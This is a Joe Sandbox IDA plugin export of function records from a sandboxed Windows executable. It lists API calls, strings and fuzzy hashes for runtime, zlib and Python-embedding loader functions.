Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction ID: 71e3157fbbde9fb95c5752c33539bcd52b2694d566f9896582544ca6c8014d2e
Opcode Fuzzy Hash: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction Fuzzy Hash: 8CE08CA0E08A0382F7113EA425C217990224FA5B61FD04430E99836BC3DFEC6C48E231

Function 00007FF7C267EC08 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF7C267B39A,?,?,?,00007FF7C2674F81,?,?,?,?,00007FF7C267A4FA), ref: 00007FF7C267EC5D

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction ID: c1f7190f4f322722de4797dc421df0ae82eaed660f2cfc366021f8e2f51e7769
Opcode Fuzzy Hash: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction Fuzzy Hash: EFF06248B09306C1FE567E6568512B5C2925F85FA0FCC5430C99EA6BD1EF9CE484C230

Function 00007FF7C267D66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7C2670D00,?,?,?,00007FF7C267236A,?,?,?,?,?,00007FF7C2673B59), ref: 00007FF7C267D6AA

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: 848aef8e66b9ae2dcdc6520eb95cc69ce6eedd6ff6394df9b344bcc75ee78248
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: BAF03004A0934285FE547F61A85127491D24F54FB0FA80A3098AE65BC1DF9CA480C230

Non-executed Functions

Function 00007FF7C2665820 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C2665830
GetLastError.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C2665842
GetProcAddress.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C2665879
GetLastError.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C266588B
GetProcAddress.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C26658A4
GetLastError.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C26658B6
GetProcAddress.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C26658CF
GetLastError.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C26658E1
GetProcAddress.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C26658FD
GetLastError.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C266590F
GetProcAddress.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C266592B
GetLastError.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C266593D
GetProcAddress.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C2665959
GetLastError.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C266596B
GetProcAddress.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C2665987
GetLastError.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C2665999
GetProcAddress.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C26659B5
GetLastError.KERNEL32(?,00007FF7C26664BF,?,00007FF7C266336E), ref: 00007FF7C26659C7

Strings

PyImport_ImportModule, xrefs: 00007FF7C2665C2F, 00007FF7C2665C51
Py_InitializeFromConfig, xrefs: 00007FF7C26658F3, 00007FF7C2665915
PyConfig_SetString, xrefs: 00007FF7C2665A35, 00007FF7C2665A57
PyImport_AddModule, xrefs: 00007FF7C2665BD3, 00007FF7C2665BF5
Py_PreInitialize, xrefs: 00007FF7C266594F, 00007FF7C2665971
PyConfig_Read, xrefs: 00007FF7C26659D9, 00007FF7C26659FB
PyModule_GetDict, xrefs: 00007FF7C2665CB9, 00007FF7C2665CDB
PyUnicode_AsUTF8, xrefs: 00007FF7C2665EB3, 00007FF7C2665ED5
PyUnicode_FromFormat, xrefs: 00007FF7C2665F3D, 00007FF7C2665F5F
PyErr_NormalizeException, xrefs: 00007FF7C2665AED, 00007FF7C2665B0F
Failed to get address for %hs, xrefs: 00007FF7C2665851
PyEval_EvalCode, xrefs: 00007FF7C2665BA5, 00007FF7C2665BC7
PyErr_Occurred, xrefs: 00007FF7C2665B1B, 00007FF7C2665B3D
PyUnicode_Join, xrefs: 00007FF7C2665F99, 00007FF7C2665FBB
PyObject_SetAttrString, xrefs: 00007FF7C2665D71, 00007FF7C2665D93
Py_DecodeLocale, xrefs: 00007FF7C266586F, 00007FF7C2665891
PyImport_ExecCodeModule, xrefs: 00007FF7C2665C01, 00007FF7C2665C23
PyErr_Fetch, xrefs: 00007FF7C2665ABF, 00007FF7C2665AE1
PyUnicode_DecodeFSDefault, xrefs: 00007FF7C2665F0F, 00007FF7C2665F31
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7C2665DCD, 00007FF7C2665DEF
PyConfig_Clear, xrefs: 00007FF7C266597D, 00007FF7C266599F
PyUnicode_FromString, xrefs: 00007FF7C2665F6B, 00007FF7C2665F8D
Py_Finalize, xrefs: 00007FF7C26658C5, 00007FF7C26658E7
PyObject_Str, xrefs: 00007FF7C2665D9F, 00007FF7C2665DC1
Py_IsInitialized, xrefs: 00007FF7C2665921, 00007FF7C2665943
PyConfig_SetWideStringList, xrefs: 00007FF7C2665A63, 00007FF7C2665A85
PyMarshal_ReadObjectFromString, xrefs: 00007FF7C2665C5D, 00007FF7C2665C7F
GetProcAddress, xrefs: 00007FF7C2665858
PySys_GetObject, xrefs: 00007FF7C2665E57, 00007FF7C2665E79
PyMem_RawFree, xrefs: 00007FF7C2665C8B, 00007FF7C2665CAD
PyErr_Restore, xrefs: 00007FF7C2665B77, 00007FF7C2665B99
Py_DecRef, xrefs: 00007FF7C2665826, 00007FF7C2665848
PyErr_Print, xrefs: 00007FF7C2665B49, 00007FF7C2665B6B
PyUnicode_Replace, xrefs: 00007FF7C2665FC7, 00007FF7C2665FE9
PyObject_GetAttrString, xrefs: 00007FF7C2665D43, 00007FF7C2665D65
PyRun_SimpleStringFlags, xrefs: 00007FF7C2665DFB, 00007FF7C2665E1D
PyConfig_InitIsolatedConfig, xrefs: 00007FF7C26659AB, 00007FF7C26659CD
PyStatus_Exception, xrefs: 00007FF7C2665E29, 00007FF7C2665E4B
PyErr_Clear, xrefs: 00007FF7C2665A91, 00007FF7C2665AB3
PyConfig_SetBytesString, xrefs: 00007FF7C2665A07, 00007FF7C2665A29
Py_ExitStatusException, xrefs: 00007FF7C266589A, 00007FF7C26658BC
PySys_SetObject, xrefs: 00007FF7C2665E85, 00007FF7C2665EA7
PyObject_CallFunctionObjArgs, xrefs: 00007FF7C2665D15, 00007FF7C2665D37
PyObject_CallFunction, xrefs: 00007FF7C2665CE7, 00007FF7C2665D09
PyUnicode_Decode, xrefs: 00007FF7C2665EE1, 00007FF7C2665F03

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction ID: f2a5b4bd9c2fd897c85cc4b5f87e566afe041e9fffc40374df1141c532bf7dc7
Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction Fuzzy Hash: A522B224A09B47C1FA58BF65B8515B4A2A2BF14774FD41039C89E62FA0EFFCA148D374

Function 00007FF7C268411C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF7C268416A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26847D6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C268494C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2684C0A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2684E2A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2685067
memcpy_s.LIBCPMT ref: 00007FF7C2685142
memcpy_s.LIBCPMT ref: 00007FF7C26851ED
memcpy_s.LIBCPMT ref: 00007FF7C26852BC

Strings

1#IND, xrefs: 00007FF7C2684257
1#QNAN, xrefs: 00007FF7C2684283
1#INF, xrefs: 00007FF7C2684293
1#SNAN, xrefs: 00007FF7C268427A

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
Instruction ID: 549b68fb0e060ab6030097ec381d2fae2ac44ae06c2eebc0143070717df2096c
Opcode Fuzzy Hash: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
Instruction Fuzzy Hash: 60B2D272A18282CBE7659E64D4407FDB7A2FB54398F901135DA4D67F84DFF8A900CB60

Function 00007FF7C266AD1D Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid literal/length code, xrefs: 00007FF7C266B452
invalid code lengths set, xrefs: 00007FF7C266AE9D
invalid literal/lengths set, xrefs: 00007FF7C266B1A3
invalid bit length repeat, xrefs: 00007FF7C266B109
too many length or distance symbols, xrefs: 00007FF7C266AEB6
invalid distance too far back, xrefs: 00007FF7C266B6E0
invalid distance code, xrefs: 00007FF7C266B624
invalid code -- missing end-of-block, xrefs: 00007FF7C266B136
invalid distances set, xrefs: 00007FF7C266B210

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
Instruction ID: cb0cbca59075461ace54952edd81c68b69f65d72b28313084c5fa922eceee3ef
Opcode Fuzzy Hash: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
Instruction Fuzzy Hash: 09521772A146A68BD7949F24C458B7E7BBEFB44350F414138E68AA3BC0DB7CD840CB64

Function 00007FF7C266D19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7C266D1B8
RtlCaptureContext.KERNEL32 ref: 00007FF7C266D1E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7C266D1FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF7C266D240
IsDebuggerPresent.KERNEL32 ref: 00007FF7C266D294
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7C266D2B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7C266D2BC

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction ID: 400b83bea7cef8e0c14871020ebddf1f45a990fb5492cc33ac75873d06ac58f7
Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction Fuzzy Hash: 8A315E76608B8186EB609F60E8903EEB365FB84714F44403ADA8D57F95EF7CC548C724

Function 00007FF7C2685C70 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7C2685CB5

Part of subcall function 00007FF7C2685608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C268561C

Part of subcall function 00007FF7C267A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF7C2682D92,?,?,?,00007FF7C2682DCF,?,?,00000000,00007FF7C2683295,?,?,?,00007FF7C26831C7), ref: 00007FF7C267A9CE
Part of subcall function 00007FF7C267A9B8: GetLastError.KERNEL32(?,?,?,00007FF7C2682D92,?,?,?,00007FF7C2682DCF,?,?,00000000,00007FF7C2683295,?,?,?,00007FF7C26831C7), ref: 00007FF7C267A9D8

Part of subcall function 00007FF7C267A970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7C267A94F,?,?,?,?,?,00007FF7C267A83A), ref: 00007FF7C267A979
Part of subcall function 00007FF7C267A970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7C267A94F,?,?,?,?,?,00007FF7C267A83A), ref: 00007FF7C267A99E

_get_daylight.LIBCMT ref: 00007FF7C2685CA4

Part of subcall function 00007FF7C2685668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C268567C

_get_daylight.LIBCMT ref: 00007FF7C2685F1A
_get_daylight.LIBCMT ref: 00007FF7C2685F2B
_get_daylight.LIBCMT ref: 00007FF7C2685F3C
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7C268617C), ref: 00007FF7C2685F63

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction ID: 153666d6b2b4f9493ebea2b2f4a0f6c92abdb3709e625c196cd5298ee007d9b1
Opcode Fuzzy Hash: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction Fuzzy Hash: DAD1B222A08242C5E720BF25D8811B9E792EF447A8FD18136DA8D67F95EFBCE451C770

Function 00007FF7C267A684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7C267A6FD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7C267A715
RtlVirtualUnwind.KERNEL32 ref: 00007FF7C267A750
IsDebuggerPresent.KERNEL32 ref: 00007FF7C267A789
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7C267A793
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7C267A79E

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction ID: d2ca4c29434095923aee58e97aed98ed29ae930dede06a9d202c33ac9a3908df
Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction Fuzzy Hash: BA318336608B81C5DB60EF24E8502AEB3A1FB88764F940135EA9D57F54DF7CC555CB20

Function 00007FF7C26818E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2681930
FindFirstFileExW.KERNEL32 ref: 00007FF7C2681A3A

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction ID: 804be66aa415fc0c0ff62cb65c4e5ee46f53693a4e57f48ce2c552bfb43b39a1
Opcode Fuzzy Hash: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction Fuzzy Hash: 23B19322B18692C1EA61AF29A4001B9E352EB44BF4F845175DADD67F85EFBCE441C330

Function 00007FF7C2685EEC Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7C2685F1A

Part of subcall function 00007FF7C2685668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C268567C

_get_daylight.LIBCMT ref: 00007FF7C2685F2B

Part of subcall function 00007FF7C2685608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C268561C

_get_daylight.LIBCMT ref: 00007FF7C2685F3C

Part of subcall function 00007FF7C2685638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C268564C

Part of subcall function 00007FF7C267A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF7C2682D92,?,?,?,00007FF7C2682DCF,?,?,00000000,00007FF7C2683295,?,?,?,00007FF7C26831C7), ref: 00007FF7C267A9CE
Part of subcall function 00007FF7C267A9B8: GetLastError.KERNEL32(?,?,?,00007FF7C2682D92,?,?,?,00007FF7C2682DCF,?,?,00000000,00007FF7C2683295,?,?,?,00007FF7C26831C7), ref: 00007FF7C267A9D8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7C268617C), ref: 00007FF7C2685F63

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction ID: ae6500d5c2ae3bdb708ca43380b5aa46c654452a92e45c69f5a662011a7a9714
Opcode Fuzzy Hash: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction Fuzzy Hash: 5E517022A08682C6E750FF21D9815A9E762FB487A4FC14136DA8D63F96DFBCE450C770

Function 00007FF7C266D080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7C266D0AC
GetCurrentThreadId.KERNEL32 ref: 00007FF7C266D0BA
GetCurrentProcessId.KERNEL32 ref: 00007FF7C266D0C6
QueryPerformanceCounter.KERNEL32 ref: 00007FF7C266D0D6

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction ID: f2dc8be60804aba7e7e03783625864d59ef83831a2eafb78f0fe85ca625819fa
Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction Fuzzy Hash: EC111F26B14B05C9EB00EF70E8552B973A4F719768F440E31DA9D96B64EFB8D164C360

Function 00007FF7C2683C80 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF7C2683CE6
memcpy_s.LIBCPMT ref: 00007FF7C2683D11

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
